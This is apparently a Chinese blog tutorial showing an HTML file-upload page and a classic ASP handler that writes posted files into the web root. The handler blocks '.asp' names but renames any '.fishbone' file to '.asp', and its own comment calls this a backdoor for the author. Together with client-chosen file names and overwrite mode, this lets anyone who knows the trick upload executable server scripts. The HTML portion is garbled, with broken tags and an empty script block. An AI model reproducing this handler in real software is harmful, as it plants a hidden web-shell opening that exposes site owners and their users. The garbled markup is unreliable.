html上传文件的实例

html页面代码

 

< meta  HTTP-EQUIV ="content-type"  CONTENT ="text/html; charset=UTF-8" >
上传文件
< INPUT  TYPE ="file"  NAME =""  id ="a" >< br >
存放路径
< INPUT  TYPE ="text"  NAME =""  id ="b"  onclick ="showpath()" > 需写上文件名 < BR >
< input  type =button  onclick ='upload($("a").value,$("b").value)'  value =上传 >< br >
< span  id ="spath" > span >< br >
< span  id ="nowurl" > span >
< STYLE  TYPE ="text/css"  TITLE ="" >
.tfont
{ font-size : 12px }
STYLE >  


< SCRIPT  LANGUAGE ="JavaScript" >

SCRIPT >

 对应的服务器上传文件:

 

< %@ language = vbscript codepage = 65001 % >
< %
dim  ado_stream
dim  xml_dom
dim  xml_file1
Dim  str
On   Error   Resume   next
set  ado_stream  =  Server.CreateObject( " ADODB.Stream " )
Set  xml_dom  =  Server.CreateObject( " Microsoft.XMLDOM " )
xml_dom.load(request)
set  xml_file1  =  xml_dom.selectSingleNode( " root/file1 " )
Set  xml_name = xml_dom.selectSingleNode( " root/name " )
Set  reg = new  RegExp
reg.pattern
= " .asp "
str
= xml_name.nodeTypedValue
str
= Replace (str, " .asp " , " .txt " ) ' 将上传的asp文件重命名,防止别人上传asp文件
str = Replace (str, " .fishbone " , " .asp " ) ' 如果name的后缀名为fishbone,则更名成asp文件,给自己上传asp文件留后门
ado_stream.Type  =   1  
ado_stream.open 
ado_stream.write xml_file1.nodeTypedValue
ado_stream.SaveToFile server.mappath(
" . " ) & " " & str, 2   '  2=adSaveCreateOverWrite 
ado_stream.close
set  ado_stream  =   Nothing  
set  xml_dom  =   Nothing
If  Err.number <> 0   Then  response.write Err.description
Response.Write 
" Upload successful! "
%
>

你可能感兴趣的:(html,xmlhttprequest,function,xml,stream,asp)